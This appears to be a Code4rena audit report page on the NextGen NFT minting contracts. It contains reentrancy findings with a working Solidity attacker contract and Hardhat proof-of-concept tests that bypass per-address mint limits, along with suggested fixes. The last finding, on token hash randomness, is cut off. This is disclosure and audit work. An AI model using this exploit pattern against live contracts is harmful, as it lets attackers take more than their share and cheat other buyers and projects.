Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 28/243
Findings: 2
Award: $504.54
π Selected for report: 0
π Solo Findings: 0
π Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
A malicious user can re-enter the MinterContract.mint
function and mint more tokens than the specified _maxCollectionPurchases
limit.
This issue is outlined in the README as follows:
Consider ways in which an address during the public phase can mint more tokens compared to what its allowed to mint (maxCollectionPurchases)
The MinterContract.mint
function is used by users to mint their tokens. Users not included in the allowList can call this function and mint tokens if the block.timestamp
falls within the specified range (publicStartTime
to publicEndTime
).
} else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) { phase = 2; require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens"); require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max"); mintingAddress = msg.sender; tokData = '"public"';
Several requirements must be met during token minting:
The number of tokens the user mints must be less than or equal to the max allowance in public sale - require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
The sum of previously minted tokens by the user plus the currently tokens minted must be less than or equal to the max allowance in public sale - require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
The current token minted index must be less than or equal to the max index id of a collection - require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
After satisfying these requirements, the _numberOfTokens
will be minted using the NextGenCore.mint
function.
for(uint256 i = 0; i < _numberOfTokens; i++) { uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase); }
Within the NextGenCore.mint
function, the _mintProcessing
function is called.
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal { tokenData[_mintIndex] = _tokenData; collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); tokenIdsToCollectionIds[_mintIndex] = _collectionID; _safeMint(_recipient, _mintIndex); }
Following this, the ERC721._safeMint
function is invoked, wherein the NFT is minted, and the user's callback onERC721Received
is triggered.
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer" ); }
Due to the user's callback (onERC721Received
) called in _checkOnERC721Received, a malicious user can re-enter the MinterContract.mint
function, before the tokensMinterPerAddress
is updated in NextGenCore.mint
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { @> tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; }
Allowing them to bypass the maximum limit per address check in MinterContract.mint
.
require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
function retrieveTokensMintedPublicPerAddress(uint256 _collectionID, address _address) external view returns(uint256) { return (tokensMintedPerAddress[_collectionID][_address]); }
This allows the user to mint additional tokens exceeding the max allowance in the public sale.
function viewMaxAllowance(uint256 _collectionID) external view returns (uint256) { return(collectionAdditionalData[_collectionID].maxCollectionPurchases); }
To execute the POC, you will need to utilize the following Attacker
contract. Place this contract in smart-contracts/Attacker.sol.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./IERC721Receiver.sol"; import "./INextGenCore.sol"; interface IMinter { function mint( uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o ) external payable; function getPrice(uint256 _collectionId) external view returns (uint256); } contract Attacker is IERC721Receiver { IMinter minter; INextGenCore core; uint256 collectionId; uint256 mintedOver = 0; constructor(address _minter, address _core, uint256 _collectionId) { minter = IMinter(_minter); core = INextGenCore(_core); collectionId = _collectionId; } function mint() public { bytes32[] memory proof = new bytes32[](0); minter.mint{value: minter.getPrice(collectionId)}( collectionId, 1, 0, '{"tdh": "100"}', address(this), proof, address(this), 2 ); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { if ( core.retrieveTokensMintedPublicPerAddress(1, address(this)) == core.viewMaxAllowance(1) - 1 && mintedOver < 10 ) { mintedOver++; mint(); } return this.onERC721Received.selector; } }
Next, insert the following test case into test/nextGen.test.js and execute it using the command hardhat test ./test/nextGen.test.js --grep POC
describe("POC", function () { const COLLECTION_ID = 1; const MAX_COLLECTION_PURCHASES = 2; beforeEach(async function () { ({ signers, contracts } = await loadFixture(fixturesDeployment)); //Verify Fixture expect(await contracts.hhAdmin.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhCore.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhDelegation.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhMinter.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhRandomizer.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhRandoms.getAddress()).to.not.equal(ethers.ZeroAddress); //Create a collection & Set Data await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"] ); await contracts.hhAdmin.registerCollectionAdmin(1, signers.addr1.address, true); await contracts.hhCore.connect(signers.addr1).setCollectionData( COLLECTION_ID, // _collectionID signers.addr1.address, // _collectionArtistAddress MAX_COLLECTION_PURCHASES, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); //Set Minter Contract await contracts.hhCore.addMinterContract(contracts.hhMinter); //Set Randomizer Contract await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer); //Set Collection Costs and Phases await contracts.hhMinter.setCollectionCosts( COLLECTION_ID, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 0, // _timePeriod 1, // _salesOptions "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress ); await contracts.hhMinter.setCollectionPhases( COLLECTION_ID, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot ); }); context("Minting", () => { const mintTokenFromCollection = async (user, collection) => { return await contracts.hhMinter.connect(user).mint( collection, // _collectionID 1, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData user.address, // _mintTo [], // _merkleRoot user.address, // _delegator 2, //_varg0 { value: await contracts.hhMinter.getPrice(collection) } ); }; it("The user cannot mint beyond the limit", async function () { expect(parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID))).to.equal(MAX_COLLECTION_PURCHASES); expect( parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, signers.addr2.address)) ).to.equal(0); await mintTokenFromCollection(signers.addr2, COLLECTION_ID); await mintTokenFromCollection(signers.addr2, COLLECTION_ID); expect( parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, signers.addr2.address)) ).to.equal(2); await expect(mintTokenFromCollection(signers.addr2, COLLECTION_ID)).to.be.revertedWith("Max"); }); it("Due to reentrancy, the user can mint tokens beyond the limit", async function () { const attackerFactory = await ethers.getContractFactory("smart-contracts/Attacker.sol:Attacker"); const attacker = await attackerFactory.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), COLLECTION_ID ); const attackerAddress = await attacker.getAddress(); expect(parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID))).to.equal(MAX_COLLECTION_PURCHASES); expect( parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress)) ).to.equal(0); await attacker.mint(); await attacker.mint(); const mintedByTheAttacker = parseInt( await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress) ); const maxCollectionPurchases = parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID)); expect(mintedByTheAttacker).to.be.gt(maxCollectionPurchases); console.log( `The attacker has minted: '${mintedByTheAttacker}' tokens, while the max limit of tokens for collection '${COLLECTION_ID}' is '${maxCollectionPurchases}'` ); }); }); });
Manual Review
You have two options for addressing the issue:
nonReentrant
modifier to prevent reentrancy.-function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { +function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable nonReentrant {
tokensMintedPerAddress
before the _mintProcessing
invocationif (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { + if (phase == 1) { + tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; + } else { + tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; + } _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); - if (phase == 1) { - tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; - } else { - tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; - } }
Reentrancy
#0 - c4-pre-sort
2023-11-17T14:10:35Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:19Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:25:10Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:25:41Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:10Z
alex-ppg marked the issue as satisfactory
π Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
A malicious user can exploit the MinterContract.mint
function to mint more tokens than the specified _maxCollectionPurchases
limit, if they are on the allowlist.
This issue is outlined in the README as follows:
Consider ways in which an allowlist address can mint more tokens than what it is allowed to mint.
The MinterContract.mint
function allows users on the allowlist to mint tokens within the specified time range (allowlistStartTime
to allowlistEndTime
). The relevant code snippet is as follows:
if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) { phase = 1; bytes32 node; if (_delegator != 0x0000000000000000000000000000000000000000) { ... } else { node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData)); require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit"); mintingAddress = msg.sender; } require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');
If the _delegator
is not used, the following code block is executed:
node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData)); require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit"); mintingAddress = msg.sender;
Assuming the user is on the allowlist and the merkleRoot
is valid, the following conditions are checked:
_maxAllowance
must be greater than or equal to the current tokens minted plus tokens minted per address during AL - require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
Validity of the Merkle proof (assumed true) - require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');
The current token minted index must be less than or equal to the max index id of a collection - require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
After meeting these requirements, the _numberOfTokens
will be minted using the NextGenCore.mint
function.
for(uint256 i = 0; i < _numberOfTokens; i++) { uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase); }
Within the NextGenCore.mint
function, the _mintProcessing
function is called:
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal { tokenData[_mintIndex] = _tokenData; collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); tokenIdsToCollectionIds[_mintIndex] = _collectionID; _safeMint(_recipient, _mintIndex); }
Following this, the ERC721._safeMint
function is invoked, wherein the NFT is minted, and the user's callback onERC721Received
is triggered.
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer" ); }
Due to the user's callback (onERC721Received
) called in _checkOnERC721Received, a malicious user can re-enter the MinterContract.mint
function, before the tokensMintedAllowlistAddress
is updated in NextGenCore.mint
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { @> tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; }
Allowing them to bypass the tokens minted per address during AL check in MinterContract.mint
.
require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
function retrieveTokensMintedALPerAddress(uint256 _collectionID, address _address) external view returns(uint256) { return (tokensMintedAllowlistAddress[_collectionID][_address]); }
This allows the user to mint additional tokens exceeding the max allowance set in the merkle root.
function viewMaxAllowance(uint256 _collectionID) external view returns (uint256) { return(collectionAdditionalData[_collectionID].maxCollectionPurchases); }
Manual Review
You have two options for addressing the issue:
nonReentrant
modifier to prevent reentrancy.-function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { +function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable nonReentrant {
tokensMintedPerAddress
before the _mintProcessing
invocationif (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { + if (phase == 1) { + tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; + } else { + tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; + } _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); - if (phase == 1) { - tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; - } else { - tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; - } }
Reentrancy
#0 - c4-pre-sort
2023-11-17T14:07:25Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:54Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:21:28Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:21:46Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:06Z
alex-ppg marked the issue as satisfactory
π Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
A malicious user can re-enter the MinterContract.mint
function and mint more tokens than the limit of 1 token during each time period
This issue is outlined in the README as follows:
Consider ways in which more than 1 token can be minted at the same time period for the Periodic Sale Model.
The MinterContract.mint
function is used by users to mint their tokens.
for(uint256 i = 0; i < _numberOfTokens; i++) { uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase); }
Within the NextGenCore.mint
function, the _mintProcessing
function is called.
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal { tokenData[_mintIndex] = _tokenData; collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); tokenIdsToCollectionIds[_mintIndex] = _collectionID; _safeMint(_recipient, _mintIndex); }
Following this, the ERC721._safeMint
function is invoked, wherein the NFT is minted, and the user's callback onERC721Received
is triggered.
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer" ); }
Due to the user's callback (onERC721Received
) called in _checkOnERC721Received, a malicious user can re-enter the MinterContract.mint
function, before the tokensMinterPerAddress
is updated in NextGenCore.mint
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { @> tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; }
Allowing them to bypass the maximum limit per address check in MinterContract.mint
.
require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
function retrieveTokensMintedPublicPerAddress(uint256 _collectionID, address _address) external view returns(uint256) { return (tokensMintedPerAddress[_collectionID][_address]); }
This allows the user to mint additional tokens exceeding the max allowance in the public sale.
function viewMaxAllowance(uint256 _collectionID) external view returns (uint256) { return(collectionAdditionalData[_collectionID].maxCollectionPurchases); }
If the salesOption
is set to 3, the user should be limited to minting only one token per period. However, due to the reentrancy issue described above, the user is able to mint multiple tokens.
The timePeriod
is set by the admin in setCollectionCosts.
To execute the POC, you will need to utilize the following Attacker
contract. Place this contract in smart-contracts/Attacker.sol.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./IERC721Receiver.sol"; import "./INextGenCore.sol"; interface IMinter { function mint( uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o ) external payable; function getPrice(uint256 _collectionId) external view returns (uint256); } contract Attacker is IERC721Receiver { IMinter minter; INextGenCore core; uint256 collectionId; uint256 mintedOver = 0; constructor(address _minter, address _core, uint256 _collectionId) { minter = IMinter(_minter); core = INextGenCore(_core); collectionId = _collectionId; } function mint() public { bytes32[] memory proof = new bytes32[](0); minter.mint{value: minter.getPrice(collectionId)}( collectionId, 1, 0, '{"tdh": "100"}', address(this), proof, address(this), 2 ); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { if (mintedOver < 10) { mintedOver++; mint(); } return this.onERC721Received.selector; } }
Next, insert the following test case into test/nextGen.test.js and execute it using the command hardhat test ./test/nextGen.test.js --grep 'Mint by period'
describe("Mint by period", function () { const COLLECTION_ID = 1; const MAX_COLLECTION_PURCHASES = 10; const nowTimestamp = Math.floor(Date.now() / 1000); beforeEach(async function () { ({ signers, contracts } = await loadFixture(fixturesDeployment)); //Verify Fixture expect(await contracts.hhAdmin.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhCore.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhDelegation.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhMinter.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhRandomizer.getAddress()).to.not.equal(ethers.ZeroAddress); expect(await contracts.hhRandoms.getAddress()).to.not.equal(ethers.ZeroAddress); //Create a collection & Set Data await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"] ); await contracts.hhAdmin.registerCollectionAdmin(1, signers.addr1.address, true); await contracts.hhCore.connect(signers.addr1).setCollectionData( COLLECTION_ID, // _collectionID signers.addr1.address, // _collectionArtistAddress MAX_COLLECTION_PURCHASES, // _maxCollectionPurchases 20, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); //Set Minter Contract await contracts.hhCore.addMinterContract(contracts.hhMinter); //Set Randomizer Contract await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer); //Set Collection Costs and Phases await contracts.hhMinter.setCollectionCosts( COLLECTION_ID, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 86400, // _timePeriod 3, // _salesOptions "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress ); await contracts.hhMinter.setCollectionPhases( COLLECTION_ID, // _collectionID nowTimestamp, // _allowlistStartTime nowTimestamp + 1, // _allowlistEndTime 1999999999, // _publicStartTime 3000000000, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot ); }); context("Minting", () => { it("Due to reentrancy, the user can mint more than 1 tokens per period", async function () { const attackerFactory = await ethers.getContractFactory("smart-contracts/Attacker.sol:Attacker"); const attacker = await attackerFactory.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), COLLECTION_ID ); const attackerAddress = await attacker.getAddress(); expect(parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID))).to.equal(MAX_COLLECTION_PURCHASES); expect( parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress)) ).to.equal(0); await ethers.provider.send("evm_setNextBlockTimestamp", [2000000000]); await ethers.provider.send("evm_mine"); await attacker.mint(); const mintedByTheAttacker = parseInt( await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress) ); const maxCollectionPurchases = parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID)); console.log( `The attacker has minted: '${mintedByTheAttacker}' tokens, while the max limit of tokens for collection '${COLLECTION_ID}' is '${maxCollectionPurchases}'` ); }); }); });
Manual Review
You have two options for addressing the issue:
nonReentrant
modifier to prevent reentrancy.-function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { +function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable nonReentrant {
tokensMintedPerAddress
before the _mintProcessing
invocationif (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { + if (phase == 1) { + tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; + } else { + tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; + } _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); - if (phase == 1) { - tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; - } else { - tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; - } }
Reentrancy
#0 - c4-pre-sort
2023-11-17T14:01:50Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:04:12Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:17:04Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:17:12Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:02Z
alex-ppg marked the issue as satisfactory
504.3946 USDC - $504.39
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerVRF.sol#L66 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerRNG.sol#L49
The RandomizerVRF and RandomizerRNG contracts will not return random hashes, instead, they will only return the generated random number.
This results in non-unique/duplicated tokenHash
values and non-randomly generated NFTs.
The codeflow for minting a token is as follows:
The user calls MinterContract.mint
.
MinterContract
calls NextGenCore.mint
.
Internally, NextGenCore._mintProcessing
is called.
src: NextGenCore._mintProcessing
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal { tokenData[_mintIndex] = _tokenData; collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); tokenIdsToCollectionIds[_mintIndex] = _collectionID; _safeMint(_recipient, _mintIndex); }
collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
This call triggers the requestRandomWords
function for the specified randomizer, which makes a request to the VRF service.
After some blocks, the VRF service returns the random value by calling the callback fulfillRandomWords
function.
The fulfillRandomWords
function calls the NextGenCore.setTokenHash
and passes the _collectionId
, _mintIndex
(_tokenId
), and _hash
for the token. Both Randomizer contracts have similar fulfillRandomWords
functions with identical ways to generate the hash.
function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override { gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id]))); }
function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override { gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId]))); emit RequestFulfilled(_requestId, _randomWords); }
The token hash is set for the specified token without any validations. The only validation is to check if the token hash is not already set. src: NextGenCore.setTokenHash
function setTokenHash(uint256 _collectionID, uint256 _mintIndex, bytes32 _hash) external { require(msg.sender == collectionAdditionalData[_collectionID].randomizerContract); require(tokenToHash[_mintIndex] == 0x0000000000000000000000000000000000000000000000000000000000000000); tokenToHash[_mintIndex] = _hash; }
Here is the problem, the way used for the token hash generating is wrong and return only the trimmed generated random number in plain format (not hashed). The lines blow results in just trimmed first number in the numbers array, and return it in plain format.
The problem lies in the method used for generating the token hash, which is incorrect and returns only the trimmed generated random number in plain format (not hashed). The lines below result in just the trimmed first number in the numbers array and return it in plain format.
